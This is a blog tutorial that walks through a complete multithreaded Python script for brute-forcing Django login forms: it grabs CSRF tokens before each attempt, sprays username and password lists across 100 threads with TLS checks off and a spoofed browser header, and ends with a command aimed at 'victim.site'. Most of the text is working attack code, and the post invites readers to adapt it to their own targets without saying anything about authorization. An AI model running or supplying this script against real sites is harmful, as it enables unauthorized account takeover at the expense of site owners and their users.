:: bogs.io

Feb. 15, 2021 // bogs // python

Cracking Passwords with Python

Using Hydra or Patator is great, they are very performant tools but they lack customization. More and more web applications just cannot be brute-forced just by making POST requests to an endpoint.

Here are some issues you might encounter:

  • CSRF Protection: before making a POST request you need to make a GET first and extract the CSRF token
  • Rate Limiting: requests may be dropped if they exceed a certain threshold
  • Web Sockets: some frameworks implement authentication over Web Sockets
  • Various obfuscation techniques: for example sending digests of the credentials rather than the raw credentials

All these issues make it hard to crack passwords and there are fewer and fewer sites that fit the traditional pattern. Writing your own brute-force scripts can prove to be a very useful skill to have in your toolbox.

Let's get started with some code. The following approach is good for brute-forcing Django login forms, but if you understand the pattern you should be able to adapt it to your own scenario. In this example, the main issue we need to account for is CSRF protection.

Here are the imports and some global settings definitions:

import time
import itertools
import sys
import warnings
import concurrent.futures
import requests
import datetime
import atexit
from bs4 import BeautifulSoup


NUM_WORKERS = 100   # Number of threads
BATCH_SIZE = 100    # How many accounts to generate


accounts = []           # Found accounts
total_checks = 0        # How many tries so far
total_combinations = 0  # How many accounts in total
start_time = None       # Timestamp when we started

We now want to define a function that prints some final stats:

def print_stats():
    """
    Print final stats
    """
    global start_time

    if accounts:
        print("[+] Accounts found: ", accounts)
    else:
        print("[!] No valid credentials found.")

    current_time = time.time()
    elapsed_time = current_time - start_time

    print("[*] Total time (hours): ", str(datetime.timedelta(seconds=elapsed_time)))
    print("[*] Total tries: ", total_checks)

Like we said, we first need to issue a GET request in order to get the CSRF token:

def fetch_csrf_token(url):
    """
    Fetch the form and parse the CSRF Tokens
    :param url: URL of the login form
    :return: {'csrftoken': <CSRF COOKIE TOKEN>, 'csrfmiddlewaretoken': <CSRF FORM TOKEN>}
    """
    csrfmiddlewaretoken = ''
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        response = requests.get(url, verify=False)
        csrfcookietoken = response.cookies['csrftoken']
        bs = BeautifulSoup(response.content, features="html.parser")
        csrf_tag = bs.find("input", {'name': "csrfmiddlewaretoken"})
        try:
            csrfmiddlewaretoken = csrf_tag.attrs['value']
        except ValueError:
            pass
    return {'csrftoken': csrfcookietoken, 'csrfmiddlewaretoken': csrfmiddlewaretoken}

We now need to issue the POST request that actually checks whether a username and password combination is valid. Notice how this function calls fetch_csrf_token first.

def check_pass(url, user, passwd):
    """
    Issue a request with credentials
    :param url: Where to make the POST request
    :param user: username to try
    :param passwd: password to try
    :return: True/False
    """
    global total_checks
    global start_time

    tokens = fetch_csrf_token(url)

    response = requests.post(url, verify=False, data={
        'username': user,
        'password': passwd,
        'csrfmiddlewaretoken': tokens['csrfmiddlewaretoken']
    }, headers={
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Connection': 'close',
        'Referer': url,
        'Cookie': 'csrftoken=' + tokens['csrftoken'],
        'Upgrade-Insecure-Requests': '1',
    })

    total_checks += 1

    if response.status_code != 200:
        print("[+] Found valid credentials: %s/%s" % (user, passwd))
        accounts.append((user, passwd))
        return True

    return False

Finally, let's write a function that calls check_pass, creates the username/password combinations, and spawns the threads that make the requests in parallel. This is the reusable part of the algorithm. If you want to adapt it to a different authentication flow, you mainly need a different check_pass function.

def bruteforce_authentication(url, usernames, passwords):
    """
    Spawn threads and try out different username/password combinations
    :param url: Where the login form is located
    :param usernames: iterable of usernames
    :param passwords: iterable of passwords
    """
    global start_time
    start_time = time.time()

    # Keep password fixed and vary the user (password spray)
    pairs = itertools.product(passwords, usernames)

    batch = list(itertools.islice(pairs, BATCH_SIZE))
    while batch:
        with concurrent.futures.ThreadPoolExecutor(max_workers=NUM_WORKERS) as executor:
            # Spawn threads
            futures = {executor.submit(check_pass, url, user, passwd) for passwd, user in batch}
            concurrent.futures.wait(futures)

        current_time = time.time()
        elapsed_time = current_time - start_time
        tries_per_second = total_checks / elapsed_time * 60
        percent_complete = total_checks / total_combinations
        sys.stdout.write("\r[*] Complete: %.4f%%, Speed: %.2f/min, Elapsed: %s, Tries: %s" % (
                percent_complete * 100,
                tries_per_second,
                str(datetime.timedelta(seconds=int(elapsed_time))),
                total_checks))
        sys.stdout.flush()

        batch = list(itertools.islice(pairs, BATCH_SIZE))

And here is the code that makes everything usable as a neat command-line script:

if __name__ == "__main__":
    # Print the stats before we exit
    atexit.register(print_stats)

    username_list = [l.strip() for l in open(sys.argv[2], 'r').readlines()]
    password_list = [l.strip() for l in open(sys.argv[3], 'r').readlines()]
    total_combinations = len(username_list) * len(password_list)
    print("[*] %s combinations to try ..." % total_combinations)

    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        bruteforce_authentication(sys.argv[1], username_list, password_list)

If we want to call the script from a shell, we can do it like this:

$ python crack.py http://victim.site users.txt passwords.txt

That is the overall pattern. To customize this code for your own target, you usually only need to write a different check_pass function, because that is where the authentication logic lives.

Back to blog